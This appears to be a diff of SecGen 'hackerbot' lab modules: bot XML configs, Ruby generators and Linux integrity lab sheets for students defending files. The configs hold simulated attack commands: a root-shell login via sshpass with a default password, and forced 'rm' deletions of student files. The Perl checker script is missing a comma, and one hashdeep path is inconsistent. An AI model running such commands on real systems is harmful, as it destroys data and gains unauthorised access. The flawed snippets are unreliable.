+		<repeat>Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along</repeat>
+		<repeat>Say 'ready', 'next', or 'previous'.</repeat>
+
+		<!--Single responses:-->
+		<help>I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'</help>
+		<say_answer>Say "The answer is *X*".</say_answer>
+		<no_quiz>There is no question to answer</no_quiz>
+		<correct_answer>Correct</correct_answer>
+		<incorrect_answer>Incorrect</incorrect_answer>
+		<invalid>That's not possible.</invalid>
+		<non_answer>Don't ask me. I just work here.</non_answer>
+
+		<!--can be overwritten per-attack-->
+		<shell_fail_message>Oh no. Failed to get shell... You need to let us in.</shell_fail_message>
+	</messages>
+
+	<attack>
+		<prompt>An attempt to delete /home/dropbear/trade_secrets/credit_card is coming. Stop the attack using access controls.</prompt>
+
+		<post_command>rm --interactive=never /home/dropbear/trade_secrets/credit_card; echo $?</post_command>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted</output_matches>
+			<message>:) Well done!</message>
+			<trigger_next_attack>true</trigger_next_attack>
+		</condition>
+		<condition>
+			<output_equals>0</output_equals>
+			<message>:( We managed to delete your file! You need to use access controls to protect the file.</message>
+		</condition>
+		<condition>
+			<output_matches>No such file or directory</output_matches>
+			<message>:( The file should exist!</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+	</attack>
+
+
+
+</hackerbot>

modules/generators/structured_content/hackerbot_config/example_bot/secgen_local/local.rb

@@ -0,0 +1,39 @@
+#!/usr/bin/ruby
+require_relative '../../../../../../lib/objects/local_string_generator.rb'
+require 'erb'
+require 'fileutils'
+class HackerbotConfigGenerator < StringGenerator
+  attr_accessor :accounts
+  attr_accessor :flags
+  attr_accessor :root_password
+  LOCAL_DIR = File.expand_path('../../',__FILE__)
+  FILE_PATH = "#{LOCAL_DIR}/files/example_bot.xml"
+
+  def initialize
+    super
+    self.module_name = 'Hackerbot Config Generator'
+    self.accounts = []
+    self.flags = []
+    self.root_password = ''
+  end
+
+  def get_options_array
+    super + [['--root_password', GetoptLong::REQUIRED_ARGUMENT]]
+  end
+
+  def process_options(opt, arg)
+    super
+    case opt
+      when '--root_password'
+        self.root_password << arg;
+    end
+  end
+
+  def generate
+    self.outputs << File.read(FILE_PATH)
+  end
+
+end
+
+
+HackerbotConfigGenerator.new.run

modules/generators/structured_content/hackerbot_config/example_bot/secgen_metadata.xml

@@ -0,0 +1,22 @@
+<?xml version="1.0"?>
+
+<generator xmlns="http://www.github/cliffe/SecGen/generator"
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xsi:schemaLocation="http://www.github/cliffe/SecGen/generator">
+  <name>Hackerbot config for an example bot</name>
+  <author>Z. Cliffe Schreuders</author>
+  <module_license>GPLv3</module_license>
+  <description>Generates a config file for a basic example config for hackerbot.</description>
+
+  <type>hackerbot_config</type>
+  <platform>linux</platform>
+
+  <read_fact>root_password</read_fact>
+
+  <default_input into="root_password">
+    <value>puppet</value>
+  </default_input>
+
+  <output_type>hackerbot</output_type>
+
+</generator>

modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_local/local.rb

@@ -0,0 +1,19 @@
+#!/usr/bin/ruby
+require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb'
+
+class Integrity2 < HackerbotConfigGenerator
+
+  def initialize
+    super
+    self.module_name = 'Hackerbot Config Generator Integrity'
+    self.title = 'Integrity management: detecting changes'
+
+    self.local_dir = File.expand_path('../../',__FILE__)
+    self.templates_path = "#{self.local_dir}/templates/"
+    self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb"
+    self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb"
+  end
+
+end
+
+Integrity2.new.run

modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_metadata.xml

@@ -0,0 +1,53 @@
+<?xml version="1.0"?>
+
+<generator xmlns="http://www.github/cliffe/SecGen/generator"
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xsi:schemaLocation="http://www.github/cliffe/SecGen/generator">
+  <name>Hackerbot config for an integrity detection lab</name>
+  <author>Z. Cliffe Schreuders</author>
+  <module_license>GPLv3</module_license>
+  <description>Generates a config file for a hackerbot for an integrity lab.
+    Topics covered: Detecting changes to resources using backups;
+    File integrity checkers.</description>
+
+  <type>hackerbot_config</type>
+  <platform>linux</platform>
+
+  <read_fact>accounts</read_fact>
+  <read_fact>flags</read_fact>
+  <read_fact>root_password</read_fact>
+
+  <!--TODO: require input, such as accounts, or fail?-->
+
+  <default_input into="accounts">
+    <generator type="account">
+      <input into="username">
+        <value>vagrant</value>
+      </input>
+    </generator>
+  </default_input>
+
+  <default_input into="flags">
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+  </default_input>
+
+  <default_input into="root_password">
+    <value>puppet</value>
+  </default_input>
+
+  <output_type>hackerbot</output_type>
+
+</generator>

modules/generators/structured_content/hackerbot_config/integrity_detection/shared/labsheet.html.erb

@@ -0,0 +1,29 @@
+<html>
+<head>
+	<title><%= self.title %></title>
+</head>
+<body>
+<meta name="viewport" content="width=device-width, initial-scale=1">
+<link rel="stylesheet" href="css/github-markdown.css">
+<style>
+	.markdown-body {
+		box-sizing: border-box;
+		min-width: 200px;
+		max-width: 980px;
+		margin: 0 auto;
+		padding: 45px;
+	}
+	@media (max-width: 767px) {
+		.markdown-body {
+			padding: 15px;
+		}
+	}
+</style>
+<article class="markdown-body">
+
+	<%= self.html_rendered %>
+
+</article>
+<script src="js/code-prettify/loader/run_prettify.js"></script>
+</body>
+</html>

modules/generators/structured_content/hackerbot_config/integrity_detection/shared/license.md.erb

@@ -0,0 +1,4 @@
+## License
+This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes.md.erb

@@ -0,0 +1,3 @@
+## Detecting changes to resources
+
+Although we can aim to protect integrity, eventually even the strongest defenses can fail, and when they do we want to know about it! In order to respond to a security incident we need to detect that one has occurred. One way we do so is to detect changes to files on our system.

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes_backups.md.erb

@@ -0,0 +1,87 @@
+### Detecting changes to resources using backups
+
+One technique is to compare files to a backup known to represent the system or resources in a clean state. One advantage of this approach is that we detect that files have changed, and also see *exactly* how they differ.
+
+Make a directory to store your backups. ==Run:==
+
+```bash
+mkdir /home/<%= $main_user %>/backups/
+```
+
+==Make a backup copy of your /etc/passwd file:==
+
+```bash
+cp /etc/passwd /home/<%= $main_user %>/backups/
+```
+
+This file (/etc/passwd) is an important file on Unix systems, which lists the user accounts on the system. Although historically the hashes of passwords were once stored here, they are now typically stored in /etc/shadow. Changes to the /etc/passwd file are usually infrequent (such as when new user accounts are created) and changes should only be made for authorised purposes.
+
+==Add a new user== to your computer...
+
+```bash
+sudo useradd new-username
+```
+> Where ==*new-username*==, is some new name.
+
+To make things even more interesting, ==edit the /etc/passwd file== and move the new user account line somewhere other than right at the bottom, so that it is less obvious:
+
+```bash
+sudo vi /etc/passwd
+```
+> Move the cursor onto the line representing your new account (probably at the bottom).
+>
+> In vi type:
+> :m *-==number==*
+>
+> Where ==*number*== is the number of lines to move up, for example: ':m -20' will move the currently selected line up 20 lines, 'hiding' the new user account amongst the others.
+>
+> Save your changes and exit vi by typing:
+>
+> :wq
+
+Look at the changes in your accounts made on your computer, and try to spot the new user account:
+
+```bash
+less /etc/passwd
+```
+> (q to exit)
+
+It's not as easy as it sounds, especially if your system has lots of user accounts.
+
+Since you have a backup of your passwd file, you can compare the backup with the current passwd file to determine it has been modified. One such tool for determining changes is diff. Diff is a standard Unix command.
+
+==Run:==
+
+```bash
+diff -q /home/<%= $main_user %>/backups/passwd /etc/passwd
+```
+Diff should report that the two files differ. Diff can also produce an easy to read description of exactly how the file has changed. This is a popular format used by programmers for sharing changes to source code:
+
+```bash
+diff -u /home/<%= $main_user %>/backups/passwd /etc/passwd
+```
+
+The diff program can compare entire mirrored directory structures to each other. For example, if you wanted to know exactly what changes have happened since a backup.
+
+Make a backup of your personal_secrets. ==Run:==
+
+```bash
+cp -r <%= $example_dir %> /home/<%= $main_user %>/backups/personal
+```
+> The -r tells cp to copy directories and their contents recursively (including sub-directories)
+
+==Make a change to a file== in <%= $example_dir %>
+
+Then ==compare using diff:==
+
+```bash
+diff -r -u <%= $example_dir %> /home/<%= $main_user %>/backups/personal/
+```
+> -r instructs diff to do a recursive comparison (searching through sub-directories)
+> You can add *--suppress-common-lines* to reduce the amount of output
+
+There are many advantages to the comparison of backups approach to detecting changes, but it also has its limitations. To apply this approach to an entire system, you will need a large amount of either local or network shared storage, and writes need to be controlled to protect the backups, yet written to whenever authorised changes are made to keep the backup up-to-date. Also, when the comparisons are made **substantial disk/network access is involved**, since both both sources need to be read at the same time in order to do the comparison.
+
+In the example above, the backup was stored on the same computer. Did you think as an attacker of editing the backup passwd file? This is related to a major issue when checking for changes to the system: if your system has been compromised, then you can't necessarily trust any of the local software or files, since they may have been replaced or modified by an attacker. For that reason, it can be safer to run software (such as diff) from a separate read-only storage. Yet that still may not be enough, the entire operating system could be infected by a rootkit.
+
+> Aside: Filesystems, such as btrfs, that support history and snapshots can also be helpful for investigating breaches in integrity.

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_attributes.md.erb

@@ -0,0 +1,69 @@
+### Protecting integrity with file attributes
+#### Getting to know file attributes
+Unix systems (such as Linux or FreeBSD) include file attributes that, amongst other features, can make files immutable or append only. Setting these file attributes can provide an effective layer of security, and yet could be considered one of the more obscure Unix security features[^1]. Note that this feature is dependent on the use of a compatible filesystem (most Unix filesystems, such as ext, are compatible with file attributes). Once configured, file attributes can even prevent root (the all-powerful Unix superuser) from making changes to certain files.
+
+[^1]: Setting a file to immutable (and therefore impossible to simply delete) can be an effective prank against the uninitiated in Unix ways.
+
+==Run:==
+
+```bash
+lsattr <%= $example_file %>
+```
+``
+ -------------e- <%= $example_file %>
+``
+
+The 'e' flag is common on ext filesystems, may or may not be present when you run the above, and does not really concern us. From a security perspective the 'a' and 'i' flags are the most interesting. Read the man page for chattr to find out more about these flags and what they do:
+
+```bash
+man chattr
+```
+> (Press q to leave the manual page)
+
+==Set the 'i' flag== using the chattr command:
+
+```bash
+sudo chattr +i <%= $example_file %>
+```
+
+Now ==try to delete the file== and see what happens:
+
+```bash
+rm <%= $example_file %>
+```
+Denied!
+
+==Use root permissions== to try to delete the file:
+
+```bash
+sudo rm <%= $example_file %>
+```
+
+It still didn't work! That's right, *even root can't delete the file*, without changing the file's attributes back first.
+
+==Use some commands to remove the 'i' flag==
+> Hint: '-i', instead of '+i'.
+
+Now run a command to ==set the 'a' flag on <%= $example_file %>.==
+
+If you have done so correctly, attempting to overwrite the file with a test message should fail. ==Run:==
+
+```bash
+sudo bash -c 'echo "test message" > <%= $example_file %>'
+```
+> This should produce an error, since > causes the output of the program to be written to the specified log file, which is not allowed due to the chattr command you have run.
+
+Yet you should be able to append messages to the end of the file:
+
+```bash
+sudo bash -c 'echo "YOURNAME: test message" >> <%= $example_file %>'
+```
+> This should succeed, since >> causes the output of the program to be appended (added to the end of) to the specified log file, which is allowed. Use your name above, for example 'echo "==Cliffe==: test message" >> <%= $example_file %>'.
+
+==View your changes== at the end of the file:
+
+```bash
+tail <%= $example_file %>
+```
+
+This has obvious security benefits, this feature can be used to allow files to be written to without altering existing content. For example, for ensuring that log files can be written to, but avoiding giving everyone who can write to the file the ability to alter its contents.

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_permissions.md.erb

@@ -0,0 +1,89 @@
+### Protecting integrity with file permissions
+#### Getting to know file permissions
+
+File permissions enable users to control the access that other users have to their files.
+
+We will cover the topic in depth elsewhere. This just provides an introduction to Unix file permissions.
+
+Open a terminal console (such as "Konsole" from KDEMenu / Applications / System / Konsole).
+
+Start by creating a file with some content.
+
+==Run:==
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+> (Type some content, then press Ctrl-D to finish and return to the
+prompt.)
+> The output is sent to the file /home/<%= $main_user %>/example
+>
+> Note that in bash **you can type *~* as shorthand for your home directory** ("/home/*<%= $main_user %>*"), but for the sake of clarity these instructions list the entire name.
+
+You can read the content:
+
+```bash
+cat /home/<%= $main_user %>/example
+```
+
+Or replace the content:
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+> (Type some content, then press Ctrl-D to finish and return to the
+prompt.)
+
+You can view the file permissions with:
+
+```bash
+ls -la /home/<%= $main_user %>/example
+```
+`` -rw-r--r-- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example ``
+
+This shows that the file is owned by *user*, and that the user has read-write access ("rw-"), others on the system have read access ("r--").
+
+By default new files can only be edited by the owner of the file (more on file permissions and umask another time). However, by default other users of the system can likely *read* your files.
+
+You can remove the ability of *anyone* changing the content. ==Run:==
+
+```bash
+chmod -w /home/<%= $main_user %>/example
+```
+> -w means "remove write access (for everyone)"
+
+Try changing the content. ==Run:==
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+
+You can't.
+
+You can remove the ability of **everyone else** changing the content. ==Run:==
+
+```bash
+chmod u+w,o-rw /home/<%= $main_user %>/example
+```
+> u+w: user who owns the file, add write access
+> o-rw: others, remove read and write access
+
+
+You can view the file permissions with:
+
+```bash
+ls -la /home/<%= $main_user %>/example
+```
+`` -rw-------- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example ``
+
+Note that **the root user can access any files**, regardless of file permissions.
+
+```bash
+chmod -w /home/<%= $main_user %>/example
+sudo cat /home/<%= $main_user %>/example
+```
+> Enter your password, and note that as root you can access the file regardless of permissions.
+
+"sudo" runs a command as another user (typically root). On Unix the root user (or any user with an uid of 0) is a superuser (i.e. administator) with extra privileges.
+
+Exploring Unix file permissions further is outside the scope of this lab, but will be covered elsewhere.

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim.md.erb

@@ -0,0 +1,125 @@
+### Detecting changes to resources using hashes and file integrity checkers
+
+Another technique for detecting modifications to files is to use hashes of files in their known good state. Rather than storing and comparing complete copies, a one way hash function can be used to produce a fixed length hash (or 'digest'), which can be used for later comparisons.
+
+Hashes have security properties that enable this use:
+
+-   Each hash is unique to the input
+-   It is extremely difficult (practically impossible) to find another input that produces the same hash output
+-   Any change to the input (no matter how minor) changes the output hash dramatically
+
+We can store a hash and later recompute the hash, to determine whether the file has changed (if the hash is different), or it is exactly the same (if the hash is the same). If you have studied digital forensics, many of these concepts will be familiar to you, since hashes are also commonly used for verifying the integrity of digital evidence.
+
+==Generate an MD5 hash== of your backup password file, which you copied previously:
+
+```bash
+md5sum /home/<%= $main_user %>/backups/passwd
+```
+
+Now ==calculate a hash== of your current passwd file:
+
+```bash
+md5sum /etc/passwd
+```
+
+If the generated hashes are different, you know the files do not have **exactly the same content**.
+
+Note that using hashes, there is no need to have the backup on-hand in order to check the integrity of files, you can just compare a newly generated hash to a previous one.
+
+==Repeat the above two commands using shasum== rather than md5sum.
+
+SHA1, SHA2, and SHA3 are considered to be more secure than the 'cryptographically broken' MD5 algorithm. Although MD5 is still in use today, it is safer to use a stronger hash algorithm, since MD5 is not collision-resistant, meaning it is possible to find multiple files that result in the same hash. SHA1 is considered partially broken, so a new algorithm such as SHA2, or the newest SHA3 are currently a good options. There are a number of related commands for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and so on. These commands (as well as those in the next section) are readily available on most Unix systems, and are also available for Windows.
+
+#### File integrity checkers
+
+A file integrity checker is a program that compares files to previously generated hashes. A number of these kinds of tools exist, and these can be considered a form of host-based intrusion detection system (HIDS), particularly if the checking happens automatically. One of the most well known integrity checkers is Tripwire, which was previously released open source; although, new versions are closed source and maintained by Tripwire, Inc, with a more holistic enterprise ICT change management focus. There are other tools similar to Tripwire, such as AIDE (Advanced Intrusion Detection Environment), and OSSEC (Open Source Host-based Intrusion Detection System).
+
+The above md5sum, shasum (and so on) programs can also be used to check a list of file hashes.
+
+==Run the following== to generate a file containing hashes of files we can later check against:
+
+```bash
+mkdir /home/<%= $main_user %>/hashes/
+
+shasum <%= $example_file %> >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /etc/passwd >> /home/<%= $main_user %>/hashes/hash.sha
+sudo shasum /etc/shadow >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /bin/bash >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /bin/ls >> /home/<%= $main_user %>/hashes/hash.sha
+```
+
+==Look at the contents== of our new hashes file:
+
+```bash
+less /home/<%= $main_user %>/hashes/hash.sha
+```
+> Press q to quit when done
+
+Now use your new hash list to ==check that nothing has changed== since we generated the hashes:
+
+```bash
+shasum -c /home/<%= $main_user %>/hashes/hash.sha
+```
+
+==Lab book question: Why does shasum fail to check the integrity of the shadow file?==
+
+==Make a change== to the end of <%= $example_file %>:
+
+```bash
+echo "hello" >> *your-name*
+```
+
+Check whether anything has changed since we generated hashes:
+
+```bash
+shasum -c /home/<%= $main_user %>/hashes/hash.sha
+```
+
+You should see a nice explanation of the files that have changed since generating the hashes.
+
+#### Scripted integrity checking
+
+The above can also be accomplished via a simple script (in this case a Perl script):
+	
+```perl
+  #!/usr/bin/perl
+  # Copyleft Z. Cliffe Schreuders
+  # Licenced under the terms of the GPLv3
+
+  use warnings;
+  use strict;
+
+  my %files_hashes = (
+    "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08"
+    "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848",
+    "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0",
+  );
+
+  foreach my $file_entry (keys %files_hashes) {
+    my $hash = `sha1sum $file_entry|awk '{print \$1}'|head -n1`;
+    chomp($hash);
+    if($hash ne $files_hashes{$file_entry}){
+      warn "FILE CHANGED: $file_entry (hash was $hash, expected $files_hashes{$file_entry})\n";
+    } else {
+      print "File unmodified: $file_entry (hash was $hash, as expected)\n";
+    }
+  }
+```
+
+This script iterates over a list of file paths with SHA1 hashes (stored in an associative array), and runs sha1sum for each one to check whether the files are still the same.
+
+==Save the script as checker.pl==
+> Tip: you may wish to use the default KDE GUI text editor Kate. You should be able to copy the script and paste it into Kate to save it as checker.pl.
+>
+> Alternatively you can type:
+> "cat > checker.pl"
+> Paste with Ctrl-Shift-V.
+> Then, Ctrl-D, to end the input.
+
+Then ==run the script== with:
+
+```bash
+perl checker.pl
+```
+
+==Lab book question: Are the files reported as unmodified, or have they changed? Why might they be different to when I wrote the script?==

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_package_management.md.erb

@@ -0,0 +1,53 @@
+#### Detecting changes to resources using package management
+
+On Linux systems, package management systems are used to organise, install, and update software. The package management system has a database that keeps track of all the files for each program or software package. Depending on the package management system used, the database may maintain hashes in order to detect changes to files since install. DEB-based systems (such as Debian, and Ubuntu) and RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), typically store hashes of each file that is included in software packages. There are commands that can be used to detect changes to files that have occurred since being installed by the package management software.
+
+Note that there are times where it is perfectly normal for a number of files to not match the 'fresh' versions that were installed: for example, configuring a system for use will involve editing configuration files that were distributed with software packages.
+
+==View the files containing MD5 hashes== stored for the packages on the system:
+```bash
+ls /var/lib/dpkg/info/*.md5sums
+```
+
+==View the contents== of one of the files.
+
+debsums is a program that can use those MD5 hashes to verify that files on a DEB-based system match the corresponding packages that are installed. By default it doesn't check configuration files (such as in /etc/).
+
+Verify all files installed by all packages:
+```bash
+sudo debsums -ac
+```
+> Ctrl-C to end the program early.
+> Options for debsum include:
+> -a also check config files
+> -e *only* check config files
+> -c only report *changed* files
+
+Verify the files installed by a specific package:
+```bash
+sudo debsums firefox
+```
+
+Choose any system file on the computer, such as /etc/securetty. To determine which package the file belongs to:
+
+```bash
+dpkg-query -S *any-file-you-chose*
+```
+> Where ==any-file-you-chose== is any file such as /etc/securetty.
+
+The output of that command contains the package-name, and is required in the next
+step.
+
+Check the integrity of the file:
+
+```bash
+sudo debsums -a *package-name*
+```
+> Where package-name is the output from the previous command.
+
+Try to understand the cause of any files failing the integrity checks.
+
+==Workbook question: What are the limitations of this approach?==
+
+- What files will (and won't) this approach to integrity management cover?
+- Are the hashes protected against tampering?

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_recursive.md.erb

@@ -0,0 +1,124 @@
+#### Recursive file integrity checkers
+
+The md5deep program (also known as sha1deep, sha256deep, and so on for different hash algorithms) can recursively walk through directories (and into all contained subdirectories) to generate and check lists of hashes.
+
+==Run:==
+
+```bash
+sudo sha1deep -r /etc/
+```
+> You can stop the program early by pressing Ctrl-C
+
+The output of the above command will include hashes of every file in /etc/, which is where system-wide configuration files are stored on Unix.
+
+Read the sha1deep manual to understand the above command:
+
+```bash
+man sha1deep
+```
+> ==Figure out what the -r flag does.==
+>
+> (q to quit)
+
+We can save (redirect) this output to a file so that we have a record of the current state of our system's configuration:
+
+```bash
+sudo sha1deep -r /etc > /home/<%= $main_user %>/hashes/etc_hashes
+```
+
+This may take a minute or so, while the program calculates all the hashes and sends them to standard out (known as stdout), which is then redirected to the etc_hashes file.
+
+Next, let's compare the size of our list of hashes, with the actual content that we have hashed...
+
+See how big our list of hashes is:
+
+```bash
+ls -hs /home/<%= $main_user %>/hashes/etc_hashes
+```
+> (-h = human readable, -s = size)
+
+This is likely to be in the Kilobytes.
+
+And for the size of all of the files in /etc/:
+
+```bash
+sudo du -hs /etc/
+```
+> (-h = human readable, -s summarise)
+
+This is likely in the Megabytes (or maybe even Gigabytes).
+
+Clearly, **the list of hashes is much smaller**.
+
+Create a new file somewhere in /etc/, containing your name. Name the file whatever you like (for example /etc/test).
+> Hint: 'sudo vi /etc/test', 'i' to enter insert mode, and after typing your name, 'Esc', ':wq'.
+
+Also, change an existing file in /etc/, but do be careful to only make a minor change that will **not cause damage to your system**. For example, you could use vi to edit /etc/hostname ('sudo vi /etc/hostname'), and add a comment to the file such as '#find this comment!'
+
+Lets try to identify what has changed on our system...
+
+Now that we have a list of hashes of our files, ==use shasum to check if anything has changed using our newly generated list of hashes== (/home/<%= $main_user %>/hashes/etc_hashes).
+
+> Hint: look at the previous command using shasum to check hashes.
+
+Does this detect our the changed file AND the new file? Why not?
+
+Md5deep/sha1deep takes a different approach to checking integrity, by checking all of the files it is told to check (possibly recursing over all files in a directory) against a list of hashes, and reporting whether any files it checked did not (or did, depending on the flags used) have its hash somewhere in the hash list.
+
+Run sha1deep to check whether any files in /etc/ do not match a hash previously generated:
+
+```bash
+sudo sha1deep -X /home/<%= $main_user %>/hashes/etc_hashes -r /etc
+```
+
+This should detect both modified files, both new and modified.
+
+But would sha1deep detect a copy of an existing file, to a new location?
+
+Try it:
+
+```bash
+sudo cp /etc/passwd /etc/passwd.backup
+```
+
+Now rerun the previous sha1deep command. Was the copy detected? Why not?
+
+What about copying one file over another? Which out of shasum or sha1deep would detect that?
+
+Another tool, hashdeep, which is included with md5deep, provides more coverage when it comes to detecting files that have moved, changed, or created.
+
+Generate a hash list for /etc using hashdeep:
+
+```bash
+sudo hashdeep -r /etc/ > /home/<%= $main_user %>/hashes/etc_hashdeep_hashes
+```
+
+Hashdeep stores hashes in a different format than the previous tools. Have a look:
+
+```bash
+less /home/<%= $main_user %>/hashes/etc_hashdeep_hashes
+```
+> (q to quit)
+>
+> Note that the output includes some more information, such as the file size for each file.
+
+Delete the new file that you created earlier:
+
+```bash
+sudo rm /etc/*whatever-the-filename-was*
+```
+
+Conduct a hashdeep audit to detect any changes:
+
+```bash
+sudo hashdeep -r -a -k /home/<%= $main_user %>/hashes/etc_hashdeep_hashes /etc
+```
+> Note, that this can take a while, so feel free to start working through the next section in another terminal, if you like.
+
+After, run it again, this time asking for more details, since the default message does not provide any information as to why an audit has failed:
+
+```bash
+sudo hashdeep -rakvv /tmp/etc_hashdeep_hashes /etc
+```
+
+Consult the man page for information about what each of the above flags do.

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/hackerbot_intro.xml.erb

@@ -0,0 +1,538 @@
+<%
+  require 'json'
+  require 'securerandom'
+  require 'digest/sha1'
+  require 'fileutils'
+  require 'erb'
+
+  if self.accounts.empty?
+    abort('Sorry, you need to provide an account')
+  end
+
+  $first_account = JSON.parse(self.accounts.first)
+  $files = []
+  $log_files = []
+  if $first_account.key?("leaked_filenames") &&  $first_account['leaked_filenames'].size > 0
+    $files = $first_account['leaked_filenames']
+    $log_files = $first_account['leaked_filenames'].grep(/log/)
+  end
+
+  if $files.empty?
+    $files = ['myfile', 'afile', 'filee', 'thefile']
+  end
+  if $log_files.empty?
+    $log_files = ['log', 'thelog', 'logs', 'frogonalog']
+  end
+
+  $main_user = $first_account['username'].to_s
+
+  $root_password = self.root_password
+  $flags = self.flags
+
+  REQUIRED_FLAGS = 17
+  while $flags.length < REQUIRED_FLAGS
+    $flags << "flag{#{SecureRandom.hex}}"
+    Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!"
+  end
+
+
+
+  def get_binding
+    binding
+  end
+%>
+<?xml version="1.0"?>
+
+<hackerbot
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xsi:schemaLocation="http://www.github/cliffe/SecGen/hackerbot">
+<!--<hackerbot xmlns="http://www.github/cliffe/SecGen/hackerbotz"-->
+
+	<name>Bossbot</name>
+
+	<AIML_chatbot_rules>config/AIML</AIML_chatbot_rules>
+
+	<!--Method for gaining shell access, can be overwritten per-attack-->
+	<!--<get_shell>bash</get_shell>-->
+	<get_shell>sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash</get_shell>
+
+	<messages>
+		<greeting>Hi. Welcome to the organisation! I am your line manager, Bossbot. Just thought I'd show you around and get you started. I am going to ask you to perform some tasks. If you complete them successfully I'll give you some flags.</greeting>
+
+		<!--Must provide alternatives for each message-->
+		<say_ready>Let me know when you are 'ready', if you want to move on to another task, say 'next', or 'previous' and I'll move things along</say_ready>
+		<say_ready>When you are ready, simply say 'ready'.</say_ready>
+		<say_ready>Are you 'ready'?</say_ready>
+		<say_ready>Let me know when you're 'ready'. We aren't paying you to just sit around!</say_ready>
+		<next>Ok...</next>
+		<next>Next task then...</next>
+		<next>Ok, next task.</next>
+		<previous>Ok, back to the previous task.</previous>
+		<previous>Ok, previous task...</previous>
+		<previous>Ok, backing up.</previous>
+		<goto>Ok, skipping it along.</goto>
+		<goto>Alright, lets do that task.</goto>
+		<last_attack>That was the last task for now. You can rest easy, until next time... (End.)</last_attack>
+		<last_attack>That was the last task. Keep up the good work!</last_attack>
+		<first_attack>You are back to the beginning!</first_attack>
+		<first_attack>This is where it all began.</first_attack>
+		<getting_shell>Ok. Running command...</getting_shell>
+		<getting_shell>Here we go...</getting_shell>
+		<got_shell>I have connected to your system.</got_shell>
+		<got_shell>I have shell on the system.</got_shell>
+		<repeat>Let me know when you are 'ready', if you want to move on to another task, say 'next', or 'previous' and I'll move things along</repeat>
+		<repeat>Say 'ready', 'next', or 'previous'.</repeat>
+
+		<!--Single responses:-->
+		<help>I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'</help>
+		<say_answer>Say "The answer is *X*".</say_answer>
+		<no_quiz>There is no question to answer</no_quiz>
+		<correct_answer>Correct</correct_answer>
+		<incorrect_answer>Incorrect</incorrect_answer>
+		<invalid>That's not possible.</invalid>
+		<non_answer>Wouldn't you like to know.</non_answer>
+
+		<!--can be overwritten per-attack-->
+		<shell_fail_message>Oh no. Failed to get shell... You need to let me in.</shell_fail_message>
+	</messages>
+
+	<tutorial_info>
+		<title>Introduction</title>
+		<tutorial></tutorial>
+		<footer>
+<%= File.read TEMPLATES_PATH + 'license.md.erb' %>
+
+Generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>)
+		</footer>
+
+		<provide_tutorial>true</provide_tutorial>
+
+	</tutorial_info>
+
+	<attack>
+<% $file = $files.sample -%>
+		<prompt>First, could you please check what users are [TODO].</prompt>
+
+		<post_command>rm --interactive=never /home/<%= $main_user %>/<%= $file %>; echo $?</post_command>
+		<condition>
+			<output_matches>Permission denied</output_matches>
+			<message>:) Well done! <%= $flags.pop %></message>
+			<trigger_next_attack>true</trigger_next_attack>
+		</condition>
+		<condition>
+			<output_equals>0</output_equals>
+			<message>:( We managed to delete your file! You need to use access controls to protect the file. Create a new file.</message>
+		</condition>
+		<condition>
+			<output_matches>No such file or directory</output_matches>
+			<message>:( The file <%= $file %> should exist!</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<tutorial><%= File.read TEMPLATES_PATH + 'file_permissions.md.erb' %></tutorial>
+	</attack>
+
+	<attack>
+<% $log_file = $log_files.sample -%>
+		<!--<topic>Protecting integrity with file attributes</topic>-->
+		<prompt>An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes.</prompt>
+
+		<post_command>rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $?</post_command>
+		<condition>
+			<output_matches>Operation not permitted</output_matches>
